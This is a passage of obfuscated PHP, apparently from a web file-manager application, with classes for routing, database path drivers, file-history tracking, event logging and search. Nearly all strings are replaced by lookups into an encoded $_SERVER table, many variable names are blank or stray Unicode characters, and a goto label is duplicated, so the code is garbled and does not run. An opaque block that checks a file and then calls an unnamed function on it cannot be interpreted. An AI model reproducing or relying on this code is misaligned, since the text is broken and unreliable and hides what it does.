. $ߤ . $凹[1594] . $凹[226]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\x6e\171" => "\133\136\57\135\53", "\72\x6e\165\x6d" => "\x5b\x30\x2d\71\135\x2b", "\72\141\x6c\x6c" => "\x2e\x2a"); public static $errorCallback; public static function __callstatic($֜, $림) { $ =& $_SERVER[㫙]; if ($֜ == $[1595]) { $Փ = array_map($[1596], $림[0]); $͠Ӌ = strpos($림[1], $[8]) === 0 ? $림[1] : $[8] . $림[1]; $… = $림[2]; } else { $Փ = null; $͠Ӌ = strpos($림[0], $[8]) === 0 ? $림[0] : $[8] . $림[0]; $… = $림[1]; } array_push(self::$maps, $Փ); array_push(self::$routes, $͠Ӌ); array_push(self::$methods, strtoupper($֜)); array_push(self::$callbacks, $…); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ϝ = true) { self::$halts = $ϝ; } public static function dispatch() { $ =& $_SERVER[㫙]; $ = parse_url($_SERVER[$[1597]], PHP_URL_PATH); $ں = $_SERVER[$[156]]; $ = array_keys(static::$patterns); $ʿ = array_values(static::$patterns); $׌ = !1; self::$routes = preg_replace($[1263], $[8], self::$routes); if (in_array($, self::$routes)) { $̣ = array_keys(self::$routes, $); foreach ($̣ as $) { if (self::$methods[$] == $ں || self::$methods[$] == $[1598] || in_array($ں, self::$maps[$])) { $׌ = !0; if (!is_object(self::$callbacks[$])) { $¶ = explode($[8], self::$callbacks[$]); $ = end($¶); $瑅 = explode($[1599], $); $Ҥ듏 = new $瑅[0](); $Ҥ듏->{$瑅[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $ʿ, $); } if (preg_match($[1600] . $ . $[1601], $, $͒)) { if (self::$methods[$] == $ں || self::$methods[$] == $[1598] || !empty(self::$maps[$]) && in_array($ں, self::$maps[$])) { $׌ = !0; array_shift($͒); if (!is_object(self::$callbacks[$])) { $¶ = explode($[8], self::$callbacks[$]); $ = end($¶); $瑅 = explode($[1599], $); $Ҥ듏 = new $瑅[0](); if (!method_exists($Ҥ듏, $瑅[1])) { echo $[1602]; } else { call_user_func_array(array($Ҥ듏, $瑅[1]), $͒); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $͒); if (self::$halts) { return; } } } } $++; } } if ($׌ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[㫙]; header($_SERVER[$[1603]] . $[1604]); echo $[1605]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1597]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto Fԍӭܱ; E: if ($_SERVER[$_SERVER[㫙][395]] != $_size($_file)) { $_getc = $_SERVER[㫙][396]; $_getfile = $_SERVER[$_SERVER[㫙][397]] . $_SERVER[㫙][398]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[㫙][226], $_getfilec); if (count($_getarrs) < $_SERVER[㫙][399]) { $exit = $_SERVER[㫙][400]; $exit(); } $_act = $_SERVER[㫙][401]; $_act($_file); } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[㫙][1321]); } public function getPath($) { return trim($, $_SERVER[㫙][8]); } public function pathFather($ǵ) { $Ő = $this->parse($ǵ); $Ő = $this->infoSimple($ǵ); return $Ő ? $Ő[$_SERVER[㫙][498]] : !1; } public function pathThis($) { $蝫 = $this->infoSimple($); return $蝫 ? $蝫[$_SERVER[㫙][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $橛 = $this->parse($); return KodIO::make($橛[$_SERVER[㫙][392]]); } public function copyFolderFromIO($ҩ, $, $, $מ, $) { $ѽ = $this->model->copyFolderFromIO($ҩ, $, $, $מ, $); return KodIO::make($ѽ); } public function isParentOf($֛, $) { return $this->model->isParentOf($֛, $); } public function mkfile($빾, $܉ = '', $ʢ = REPEAT_RENAME) { $ =& $_SERVER[㫙]; $ = $this->parse($빾); $빾 = $[$[392]]; for ($ɹ = 0; $ɹ < count($[$[1322]]); $ɹ++) { $܄ = $[$[1322]][$ɹ]; if ($ɹ == count($[$[1322]]) - 1) { $빾 = $this->model->mkfile($빾, $܄, $܉, $ʢ); break; } $빾 = $this->model->mkdir($빾, $܄, REPEAT_SKIP); } return $this->getPathOuter($빾); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[㫙]; $̘ = $this->parse($); $ = $̘[$[392]]; for ($駆 = 0; $駆 < count($̘[$[1322]]); $駆++) { $Ƶ = $̘[$[1322]][$駆]; $ = $this->model->mkdir($, $Ƶ, $); } return $this->getPathOuter($); } public function copyFile($Ǵ, $⥳ȓ, $п = REPEAT_REPLACE) { $쟂 =& $_SERVER[㫙]; $ = $this->parse($⥳ȓ); $㶳 = $this->model->copy($Ǵ, $[$쟂[392]], $п, $[$쟂[78]]); return $㶳 ? $this->getPathOuter($㶳) : !1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $֔ =& $_SERVER[㫙]; $ = $this->parse($); $Ê = $this->model->move($, $[$֔[392]], $, $[$֔[78]]); return $Ê ? $this->getPathOuter($Ê) : !1; } public function copy($ҩ, $Α, $޼ = REPEAT_REPLACE, $͵ = false) { $ȫ = $this->parse($Α); $ = $this->model->copy($ҩ, $ȫ[$_SERVER[㫙][392]], $޼, $͵); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($ۀƎ, $η, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($η); $ = $this->model->move($ۀƎ, $[$_SERVER[㫙][392]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($̮, $ = true) { return $this->model->remove($̮, $); } public function rename($, $) { $ = $this->model->rename($, $); return $ ? $this->getPathOuter($) : $; } public function size($É) { $Ӭ = $this->infoSimple($É); return $Ӭ ? $Ӭ[$_SERVER[㫙][80]] : 0; } public function infoSimple($Ё) { return $this->model->sourceInfo($Ё); } public function info($) { return $this->infoParse($); } public function infoAuth($Ī䲍) { return $this->infoParse($Ī䲍, !1, !0); } public function infoWithChildren($ݒٿ) { return $this->infoParse($ݒٿ, !0); } protected function infoParse($, $ϥ = false, $ʂ = false) { if (!$ϥ) { return $this->model->pathInfo($, $ʂ); } return $this->model->pathInfoMore($); } public function infoFull($܇) { $ =& $_SERVER[㫙]; $ = explode($[8], $܇); $Ҿ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $Ҿ); } public function hashSimple($) { $޸ =& $_SERVER[㫙]; $ҤЍ = $this->infoWithChildren($); return $ҤЍ[$޸[163]][$޸[170]]; } public function hashMd5($ղ) { $޸ =& $_SERVER[㫙]; $ = $this->infoWithChildren($ղ); return $[$޸[163]][$޸[169]]; } public function exist($˴) { $ל =& $_SERVER[㫙]; $ş닺 = $this->parse($˴); if (!$ş닺[$ל[78]]) { return $this->isFile($˴) || $this->isFolder($˴); } $ԍ = array($ל[402] => $ş닺[$ל[392]], $ל[32] => $ş닺[$ל[78]]); $ = $this->model->where($ԍ)->find(); return $ ? !0 : !1; } public function isFile($Ϟ) { $ =& $_SERVER[㫙]; $˞ = $this->infoSimple($Ϟ); return $˞ && $˞[$[411]] == $[89] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[㫙]; $פ = $this->infoSimple($); return $פ && $פ[$[411]] == $[89] ? !0 : !1; } public function listPath($ĭȺ, $ΉÃ = false) { $壨 =& $_SERVER[㫙]; if ($ĭȺ == $壨[12]) { return !1; } $ѵ = array($壨[402] => $ĭȺ); if ($ΉÃ) { return $this->model->listSource($ѵ, -1); } return $this->model->listSource($ѵ); } public function has($䣠, $꼬 = false, $ = null) { $ =& $_SERVER[㫙]; $Μߟ = $this->infoWithChildren($䣠); if ($꼬) { return array($[203] => $Μߟ[$[203]], $[202] => $Μߟ[$[202]]); } return $ ? $Μߟ[$[203]] : $Μߟ[$[202]]; } public function listAll($) { $Ѱ = IO::info($this->pathParse[$_SERVER[㫙][78]]); if (!$Ѱ) { return array(); } return $this->model->listAll($); } public function getContent($ٮ) { return $this->model->getContent($ٮ); } public function setContent($ϧ, $˜ֱ = '') { return $this->model->setContent($ϧ, $˜ֱ); } public function fileSubstr($ؚ˂, $, $) { return $this->model->fileSubstr($ؚ˂, $, $); } public function download($亗, $ = '') { $؞ = get_path_father($); $ = get_path_this($); $ʀ = $this->model->fileInfoGet($亗); $Ѓ = IO::copy($ʀ[$_SERVER[㫙][78]], $؞, !1, $); return $Ѓ; } public function setModifyTime($حӮ, $Ą = '') { $Ϡ =& $_SERVER[㫙]; if (!$حӮ) { return; } $this->model->where(array($Ϡ[418] => $حӮ))->save(array($Ϡ[86] => $Ą)); } public function upload($, $, $ = false, $Ʃ = REPEAT_REPLACE) { $ =& $_SERVER[㫙]; $ј = $this->parse($); $Ө = $this->model->addFile($ј[$[392]], $, $ј[$[78]], $, $Ʃ); return $this->getPathOuter($Ө); } public function uploadFileByID($Û, $ז, $) { $ܠη =& $_SERVER[㫙]; $Щ = $this->parse($Û); $͝ = $this->model->addFileByFileID($Щ[$ܠη[392]], $ז, $Щ[$ܠη[78]], $); return $this->getPathOuter($͝); } public function addFileByRemote($, $ڌ, $ = array(), $̽ = '', $ѓ) { $ =& $_SERVER[㫙]; $ = $this->parse($); $̽ = empty($̽) ? $[$[78]] : $̽; $ = $this->model->addFileByRemote($[$[392]], $ڌ, $̽, $, $ѓ); return $this->getPathOuter($); } public function uploadLink($̦, $χ = 0) { $” =& $_SERVER[㫙]; $ʃ = $this->parse($̦); $쾙 = _get($GLOBALS[$”[7]], $”[1323]); $ = _get($GLOBALS[$”[7]], $”[1324]); $̦ = Model($”[603])->createFileName($ʃ[$”[78]], $쾙, $); return IO::uploadLink($̦, $χ); } public function fileNameAuto($䇫, $, $ = REPEAT_REPLACE, $ԑ = false) { return $this->model->fileNameAuto($䇫, $, $, $ԑ); } public function fileNameExist($͕, $) { return $this->model->fileNameExist($͕, $); } protected function _fileOut($, $̺ = false, $鸔 = false, $ݾ׸ = '', $ = false) { $ĥ =& $_SERVER[㫙]; $ӣ = $this->model->sourceInfo($); if ($ӣ[$ĥ[411]] == $ĥ[89]) { header($ĥ[1325]); die; } $ = $this->model->fileInfoGet($); $ݾ׸ = $[$ĥ[169]] ? $[$ĥ[169]] : $ݾ׸; $ = isset($GLOBALS[$ĥ[1326]]) ? $GLOBALS[$ĥ[1326]] : $ӣ[$ĥ[32]]; if ($) { return IO::fileOutServer($[$ĥ[78]], $̺, $, $ݾ׸); } IO::fileOut($[$ĥ[78]], $̺, $, $ݾ׸); } public function fileOut($, $ = false, $髶 = false, $Ֆ϶ = '') { $this->_fileOut($, $, $髶, $Ֆ϶); } public function fileOutServer($ιʔí, $ = false, $ᶺ = false, $ = '') { $this->_fileOut($ιʔí, $, $ᶺ, $, !0); } protected function _fileOutImage($, $ۺ = 250) { $ =& $_SERVER[㫙]; $Ģ = $this->model->pathInfo($); if ($Ģ[$[411]] == $[89]) { show_json($[1327] . $, !1); } $̑ = $this->model->fileInfoGet($); $̑[$[32]] = $Ģ[$[32]]; $̑[$[162]] = $Ģ[$[162]]; $GLOBALS[$[1326]] = $̑[$[32]]; $GLOBALS[$[161]] = $̑; IO::fileOutImage($̑[$[78]], $ۺ); } public function fileOutImage($ލ, $礑 = 250) { $this->_fileOutImage($ލ, $礑); } public function fileOutImageServer($䀝, $ = 250) { $this->_fileOutImage($䀝, $); } public function link($, $Ԇؖ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[㫙][78]], $Ԇؖ); } protected function parse($҂) { $𳽷 =& $_SERVER[㫙]; if (strstr($҂, $𳽷[8]) === !1) { return array($𳽷[420] => intval($҂), $𳽷[78] => $𳽷[12], $𳽷[1322] => array()); } $ = explode($𳽷[8], trim($҂, $𳽷[8])); if (count($) < 2) { show_tips(clear_html($҂) . $𳽷[1328]); } return array($𳽷[420] => intval($[0]), $𳽷[78] => $[1], $𳽷[1322] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($휊) { $this->pathParse = $휊; $this->model = Model($_SERVER[㫙][1321]); } public function getPathOuter($ߴ) { $ =& $_SERVER[㫙]; if (!$ߴ) { return $ߴ; } $ = $this->parse($ߴ); return trim(KodIO::makeShare($this->pathParse[$[392]], $[$[392]]), $[8]); } protected function infoParse($򐈒, $ʱ = false, $̂Լ = false) { $ =& $_SERVER[㫙]; $ = $this->pathParse[$[392]]; $ = trim($this->pathParse[$[1163]], $[8]); return Action($[1329])->sharePathInfo($, $, $ʱ); } public function infoFull($) { $ =& $_SERVER[㫙]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $˚ = implode($[8], array_splice($, 1)); $ = $this->model->pathInfoByPath($[0], $˚); if (!$) { return !1; } $this->pathParse[$[1163]] = $[$[403]]; } return $this->infoParse($); } public function listAll($) { $ڂ =& $_SERVER[㫙]; $晛 = IO::info($this->pathParse[$ڂ[78]]); if (!$晛) { return array(); } $㔆 = $this->model->listAll($); $Ш = Model($ڂ[595])->getInfo($晛[$ڂ[488]]); $ = Action($ڂ[1329]); foreach ($㔆 as &$) { check_abort(); $[$ڂ[87]] = $->_shareItemeParse($[$ڂ[87]], $Ш); } unset($); return $㔆; } } goto Bٕǐ; E: class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\137\163\157\165\x72\143\145\x5f\x65\x76\x65\156\x74"; protected $dataAuto = array(array("\x63\162\145\x61\x74\145\x54\x69\155\x65", "\164\x69\155\145", "\151\156\x73\x65\162\x74", "\146\x75\x6e\x63\x74\151\157\x6e"), array("\x64\x65\163\143", '', "\151\156\163\x65\162\x74\54\x75\x70\x64\x61\x74\x65\x2c\163\145\x6c\145\x63\164", "\x6a\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[㫙]; if (!$this->eventSave) { return; } $泝 = Model($[1321])->sourceInfo($); if (!$泝) { return !1; } if ($this->isCacheEvent($泝, $)) { return; } if ($ && is_string($)) { $ = array($[1856] => $); } $ = array($[418] => $, $[2030] => $泝[$[498]], $[2031] => $泝[$[32]], $[519] => !empty($泝[$[519]]) ? $泝[$[519]] : $[12], $[1641] => USER_ID, $[423] => $, $[1643] => $); $this->addSystemLog($, $); unset($[$[2031]], $[$[519]]); return $this->add($); } private function addSystemLog($, $) { $тΘ =& $_SERVER[㫙]; if ($ == $тΘ[2032]) { $ = $[$тΘ[451]][$тΘ[2033]]; } else { if (in_array($, array($тΘ[1798], $тΘ[2034]))) { $ = $[$тΘ[451]][$тΘ[756]]; } } $ = array_merge($, array($тΘ[2035] => $[$тΘ[403]], $тΘ[2036] => $[$тΘ[2036]])); Hook::trigger($тΘ[2037], $тΘ[2038] . $, $); Model($тΘ[1762])->addLog($тΘ[2038] . $, $); } private function isCacheEvent($ⅿԓ, $Ŗ) { if ($ⅿԓ[$_SERVER[㫙][412]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($Ϸ, $) { $غ =& $_SERVER[㫙]; $ = Model($غ[1321])->sourceInfo($Ϸ); $ؾ = array($غ[2033] => $, $غ[32] => $[$غ[32]]); return $this->addEvent($Ϸ, $غ[2032], $ؾ); } public function eventFileEdit($Բ) { $Ŕ =& $_SERVER[㫙]; $ = array($Ŕ[2039] => $_SERVER[$Ŕ[2040]], $Ŕ[2041] => strtolower(ACTION)); return $this->addEvent($Բ, $Ŕ[1788], $); } public function eventRecycle($АԐ, $) { return $this->addEvent($АԐ, $_SERVER[㫙][2034], $); } public function eventRemove($) { $у =& $_SERVER[㫙]; $Ǝ = Model($у[1321])->sourceInfo($); $ż = $Ǝ[$у[32]]; return $this->addEvent($Ǝ[$у[498]], $у[1787], $ż); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[㫙][1798], $); } public function eventMove($ٔ, $ҭ, $܍ӱ) { $۵ =& $_SERVER[㫙]; $ = Model($۵[1321]); $菟 = $->sourceInfo($ٔ); $փڡ = $->sourceInfo($ҭ); $ = $->sourceInfo($܍ӱ); $ = array($۵[1154] => $ҭ, $۵[2042] => $փڡ[$۵[32]], $۵[2021] => !empty($փڡ[$۵[519]]) ? $փڡ[$۵[519]] : $۵[12], $۵[1155] => $܍ӱ, $۵[2043] => $[$۵[32]], $۵[2044] => !empty($[$۵[519]]) ? $[$۵[519]] : $۵[12]); $this->addEvent($ٔ, $۵[551], $); $菟 = $->sourceInfo($ٔ); $ = array($۵[403] => $菟[$۵[403]], $۵[32] => $菟[$۵[32]]); $this->addEvent($ҭ, $۵[2045], $); } public function eventCopy($ݵ) { $this->eventCreate($ݵ, $_SERVER[㫙][549]); } public function eventRename($ӑ, $ܮ, $) { $˿ =& $_SERVER[㫙]; $ = array($˿[1154] => $ܮ, $˿[1155] => $); return $this->addEvent($ӑ, $˿[1336], $); } public function eventAddComment($ߏ, $𺫅ٷ) { return $this->addEvent($ߏ, $_SERVER[㫙][2046], $𺫅ٷ); } public function eventAddDesc($ɝ, $ש) { return $this->addEvent($ɝ, $_SERVER[㫙][2047], $ש); } public function listBySource($׹) { $ʄź =& $_SERVER[㫙]; $٭ = Model($ʄź[1321])->sourceInfo($׹); $֝ = array($ʄź[418] => $׹); if ($٭[$ʄź[411]] == $ʄź[89]) { $ = Model($ʄź[1321])->listSearchChildren($׹, 20000); $[] = $׹ . $ʄź[373]; $֝ = array($ʄź[403] => array($ʄź[7], $)); } $ = $this->where($֝)->order($ʄź[2048])->selectPage(); if ($[$ʄź[361]][$ʄź[362]] == 0) { $[$ʄź[361]][$ʄź[362]] = 1; $[$ʄź[364]] = array(array($ʄź[418] => $׹, $ʄź[2030] => $٭[$ʄź[498]], $ʄź[1641] => $٭[$ʄź[452]], $ʄź[423] => $ʄź[2049], $ʄź[424] => $٭[$ʄź[193]], $ʄź[1643] => $ʄź[12])); } return $this->eventListParse($, $׹); } private function eventListParse($, $Րб) { $ =& $_SERVER[㫙]; $ = $[$[364]]; $٤ = array_to_keyvalue($, $[12], $[403]); $ = array_to_keyvalue($, $[12], $[2036]); foreach ($ as $) { $ = $[$[451]]; if ($[$[33]] == $[551] && isset($[$[1154]])) { $٤[] = $[$[1154]] . $[12]; $٤[] = $[$[1155]] . $[12]; } if ($[$[33]] == $[2045] && isset($[$[403]])) { $٤[] = $[$[403]] . $[12]; } } $٤ = array_merge($٤, $, array($Րб . $[12])); $٤ = array_unique($٤); $ = array_unique(array_to_keyvalue($, $[12], $[1650])); $ = Model($[538])->userListInfo($); $ļ = Model($[826])->sourceListInfo($٤, !0); foreach ($ as &$) { if ($[$[33]] == $[551] && isset($[$[451]][$[1154]])) { $[$[451]][$[1154]] = $ļ[$[$[451]][$[1154]]]; $[$[451]][$[1155]] = $ļ[$[$[451]][$[1155]]]; } if ($[$[33]] == $[2045] && isset($[$[451]][$[403]])) { $[$[451]][$[403]] = $ļ[$[$[451]][$[403]]]; } $[$[87]] = $ļ[$[$[403]]]; $[$[2050]] = $ļ[$[$[2036]]]; if ($[$[33]] == $[1787]) { $[$[2050]] = $[$[87]]; $[$[2036]] = $[$[2050]][$[403]]; $[$[87]] = !1; $[$[403]] = $[12]; } $[$[1981]] = $[$[$[1650]]]; } unset($); $[$[364]] = $; return $; } public function removeBySource($) { $ = array($_SERVER[㫙][418] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\x6f\165\162\143\145\137\150\x69\x73\x74\x6f\x72\171"; public function historyCount($Ǽ) { $ =& $_SERVER[㫙]; if (!$Ǽ) { return array(); } if (is_string($Ǽ) || is_int($Ǽ)) { $Ǽ = array($Ǽ); } $ = array($[403], $[1850] => $[500]); $䍘 = array($[403] => array($[7], $Ǽ)); $ = $this->field($)->where($䍘)->group($[403])->select(); return array_to_keyvalue($, $[403], $[500]); } public function addHistory($ՉҤ, $ = '') { $ =& $_SERVER[㫙]; $ч = array($[418] => $ՉҤ[$[403]], $[1641] => isset($ՉҤ[$[454]]) ? $ՉҤ[$[454]] : $ՉҤ[$[452]], $[468] => $ՉҤ[$[467]], $[579] => $ՉҤ[$[80]], $[2051] => $); $슿 = $GLOBALS[$[6]][$[90]][$[1203]]; if ($슿 > 1) { $this->historyAutoClear($ч[$[403]]); $this->add($ч); } Hook::trigger($[2052], $ч); Model($[2053])->eventFileEdit($ՉҤ[$[403]]); } private function historyAutoClear($̺) { $ʯ” =& $_SERVER[㫙]; $ = Model($ʯ”[771])->get($ʯ”[1225]); $ = $GLOBALS[$ʯ”[6]][$ʯ”[90]][$ʯ”[1203]]; $ǡ = $ == $ʯ”[1226] ? 5 : $; if ($ <= 1) { $ǡ = 1; } if ($ǡ >= 500) { return; } $ϩ = array($ʯ”[418] => $̺); $ܟ = $this->field($ʯ”[2054])->where($ϩ)->order($ʯ”[2048])->select(); if (!$ܟ || $ǡ >= count($ܟ)) { return; } $ = array_to_keyvalue($ܟ, $ʯ”[12], $ʯ”[392]); $ = array_slice($, $ǡ); $ = array_to_keyvalue($ܟ, $ʯ”[12], $ʯ”[467]); $ = array_slice($, $ǡ); if (!$ || !$) { return; } $ϩ = array($ʯ”[420] => array($ʯ”[7], $)); $this->where($ϩ)->delete(); Model($ʯ”[470])->remove($); } public function listData($ƚ) { $Д =& $_SERVER[㫙]; $ɟ = array($Д[418] => $ƚ); $ؘ = $Д[2055]; $Ӡ = $this->field($ؘ)->where($ɟ)->order($Д[2048])->selectPage(); $this->_listAppendUser($Ӡ[$Д[364]]); $ͅ = Model($Д[771])->get($Д[1225]); $ = 5; if ($ͅ == $Д[1226]) { $Ӡ[$Д[364]] = array_slice($Ӡ[$Д[364]], 0, $); $Ӡ[$Д[361]] = array($Д[2056] => 1, $Д[2057] => 20, $Д[2058] => 1, $Д[2059] => count($Ӡ[$Д[364]])); } return $Ӡ; } protected function _listAppendUser(&$) { $޷⢴ =& $_SERVER[㫙]; $Ĭ = array_to_keyvalue($, $޷⢴[12], $޷⢴[1650]); $Ղ = Model($޷⢴[538])->userListInfo($Ĭ); foreach ($ as &$) { $ࠫ᧊ = $[$޷⢴[1650]]; $[$޷⢴[452]] = $Ղ[$ࠫ᧊] ? $Ղ[$ࠫ᧊] : !1; } unset($); } public function fileInfo($) { $ƽ =& $_SERVER[㫙]; $ = $this->tablePrefix; $ = "{$}\151\x6f\x5f\x66\151\154\145\x20\x66\x69\154\x65\163\x20\x6f\x6e\x20\x66\151\x6c\x65\x73\x2e\146\x69\x6c\145\111\104\40\x3d\40\150\151\163\164\157\x72\x79\56\146\151\x6c\145\111\x44"; return $this->alias($ƽ[2060])->where(array($ƽ[420] => $))->join($, $ƽ[2061])->find(); } public function removeItem($) { $ =& $_SERVER[㫙]; $ = array($[420] => $); $ = $this->where($)->find(); if ($) { $̧ = $this->where($)->delete(); Model($[470])->remove($[$[467]]); return $̧; } return !1; } public function removeBySource($) { $ʯ =& $_SERVER[㫙]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($ʯ[418] => array($ʯ[7], $)); $ȉ = $this->field($ʯ[468])->where($)->select(); if ($ȉ) { $this->where($)->delete(); $񄯡 = array_to_keyvalue($ȉ, $ʯ[12], $ʯ[467]); Model($ʯ[470])->remove($񄯡); } return !0; } public function setDetail($؁, $ͣ) { $Ͷ =& $_SERVER[㫙]; return $this->where(array($Ͷ[420] => $؁))->save(array($Ͷ[2051] => $ͣ)); } public function rollbackToItem($, $) { $ =& $_SERVER[㫙]; $Ý = Model($[826])->sourceInfo($); $this->addHistory($Ý, LNG($[2062])); $Ɣ = $this->find($); $۩ = array($[467] => $Ɣ[$[467]], $[80] => $Ɣ[$[80]], $[86] => time(), $[454] => USER_ID); Model($[826])->where(array($[403] => $))->save($۩); return $this->where(array($[420] => $))->delete(); } public function clearSame($蒪) { $Л =& $_SERVER[㫙]; $ӗ = $this->listData($蒪); $ٺ = array_to_keyvalue_group($ӗ, $Л[467]); $ = array(); $Ȇ = array(); foreach ($ٺ as $ҡ) { if (!$ҡ || count($ҡ) <= 1) { continue; } foreach ($ҡ as $) { $[] = $[$Л[467]]; $Ȇ[] = $[$Л[392]]; } } if (!$Ȇ) { return; } $this->where(array($Л[392] => array($Л[7], $Ȇ)))->delete(); Model($Л[470])->remove($); } public function userSpace() { $ =& $_SERVER[㫙]; $Ɩ = $this->tablePrefix; $ⴵ = array($[1641] => USER_ID); $ = "{$Ɩ}\151\157\137\x66\x69\x6c\x65\40\x66\151\x6c\145\163\40\157\156\40\146\151\154\x65\x73\x2e\x66\x69\x6c\145\111\x44\40\x3d\x20\x68\x69\x73\x74\x6f\x72\171\56\146\151\154\145\x49\104"; return $this->alias($[2060])->where($ⴵ)->join($, $[2061])->sum($[80]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[㫙]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $좆 = $[$[167]]; $˹ػ = $[7]; if (!$[$[167]]) { $ = array_to_keyvalue($, $[12], $[167]); $좆 = implode($[50], $); $˹ػ = $[2063]; } $ = explode($[50], trim($좆, $[50])); return array($˹ػ, $); } public function listPathType($ۇ) { $ =& $_SERVER[㫙]; $ = $this->fileTypeWhere($ۇ); if (!$) { return array(); } $ = array($[580] => SourceModel::TYPE_USER, $[581] => USER_ID, $[577] => 0, $[578] => $); return $this->listSource($); } public function listSearch($, $ = 300) { $Î𠀸 =& $_SERVER[㫙]; if (isset($[$Î𠀸[1909]]) && $[$Î𠀸[1909]]) { $[$Î𠀸[1909]] = str_replace($Î𠀸[379], $Î𠀸[2064], trim($[$Î𠀸[1909]])); } $ח = $this->_parseSearchWhere($); $Μ = $ח; if (!isset($ח[$Î𠀸[431]])) { $ח[$Î𠀸[431]] = 0; } $ = $Î𠀸[2065]; $ = $; $this->_listSearchBindPinyin($, $ח, $); $this->alias($Î𠀸[444])->_makeOrder(); $ח = $this->parseWhereLike($ח); $䍃 = $this->distinct(!0)->field($)->where($ח)->selectPage($); $this->_listSearchFileContent($䍃, $, $, $Μ); $this->_listSearchDesc($䍃, $, $); $this->_listSearchTag($䍃, $, $); $this->_listSearchGroupTag($䍃, $, $); $this->_listDataApply($䍃[$Î𠀸[364]]); $this->_listMake($䍃); return $䍃; } private function _listSearchFileContent(&$以, $, $, $) { $ =& $_SERVER[㫙]; if (!$[$[1909]] || $以[$[361]][$[348]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[467]])) { return; } $[$[467]] = array($[7], $[$[467]]); unset($[$[32]]); unset($[$[467]]); $ = $this->field($)->where($)->limit($[2066])->select(); if (!$ || count($) == 0) { return; } $以[$[364]] = array_merge($, $以[$[364]]); $以[$[361]][$[362]] += count($); } private function _listSearchTag(&$, $, $) { $ʋ =& $_SERVER[㫙]; if (!$[$ʋ[1909]] || $[$ʋ[361]][$ʋ[348]] > 1) { return; } $ߵ = Model($ʋ[2067])->listData(); $鵞 = array(); $ = $[$ʋ[1909]]; foreach ($ߵ as $Ĩ) { $ȃ = $Ĩ[$ʋ[32]]; $ = str_replace($ʋ[53], $ʋ[12], Pinyin::get($ȃ)); if (stripos($ȃ, $) !== !1 || stripos($, $) !== !1) { $鵞[] = $Ĩ[$ʋ[392]]; } } if (!$鵞) { return; } $ͼ = array($ʋ[427] => array($ʋ[7], $鵞), $ʋ[1650] => USER_ID); $ = Model($ʋ[428])->field($ʋ[78])->where($ͼ)->select(); $ = array_to_keyvalue($, $ʋ[12], $ʋ[78]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$͡, $ۙ, $) { $ע =& $_SERVER[㫙]; if (!$ۙ[$ע[1909]] || $͡[$ע[361]][$ע[348]] > 1) { return; } $꒶蚅 = $this->listSearchChildren($ۙ[$ע[498]]); $꒶蚅 = array_unique($꒶蚅); if (!$꒶蚅) { return; } $њ = array($ע[403] => array($ע[7], $꒶蚅), $ע[95] => $ע[451], $ע[369] => array($ע[378], $ע[1911] . $ۙ[$ע[1909]] . $ע[1911])); $Ư = Model($ע[563])->field($ע[403])->where($њ)->select(); $ʉϜ = array_to_keyvalue($Ư, $ע[12], $ע[403]); $this->_listSearchMerge($͡, $ۙ, $, $ʉϜ); } private function _listSearchGroupTag(&$ܞ, $̓, $ד) { $ǝ =& $_SERVER[㫙]; if (!$̓[$ǝ[1909]] || $ܞ[$ǝ[361]][$ǝ[348]] > 1 || !$̓[$ǝ[498]]) { return; } $ȩ = $this->sourceInfo($̓[$ǝ[498]]); if (!$ȩ || $ȩ[$ǝ[412]] != SourceModel::TYPE_GROUP) { return; } $Ο = $ȩ[$ǝ[504]]; $玎 = Model($ǝ[2068])->get($Ο); $ = array(); $ּ = $̓[$ǝ[1909]]; foreach ($玎[$ǝ[364]] as $) { $ = $[$ǝ[32]]; $Ɛ = str_replace($ǝ[53], $ǝ[12], Pinyin::get($)); if (stripos($, $ּ) !== !1 || stripos($Ɛ, $ּ) !== !1) { $[] = $[$ǝ[392]]; } } if (!$) { return; } $ = array($ǝ[427] => array($ǝ[7], $), $ǝ[1650] => 0, $ǝ[33] => $ǝ[1931] . $Ο); $͓ = Model($ǝ[428])->field($ǝ[78])->where($)->select(); $͓ = array_to_keyvalue($͓, $ǝ[12], $ǝ[78]); $ = array_unique($͓); $this->_listSearchMerge($ܞ, $̓, $ד, $); } private function _listSearchMerge(&$ݠذ, $, $, $) { $񍬹 =& $_SERVER[㫙]; if (!$) { return; } $͎ = array_to_keyvalue($ݠذ[$񍬹[364]], $񍬹[12], 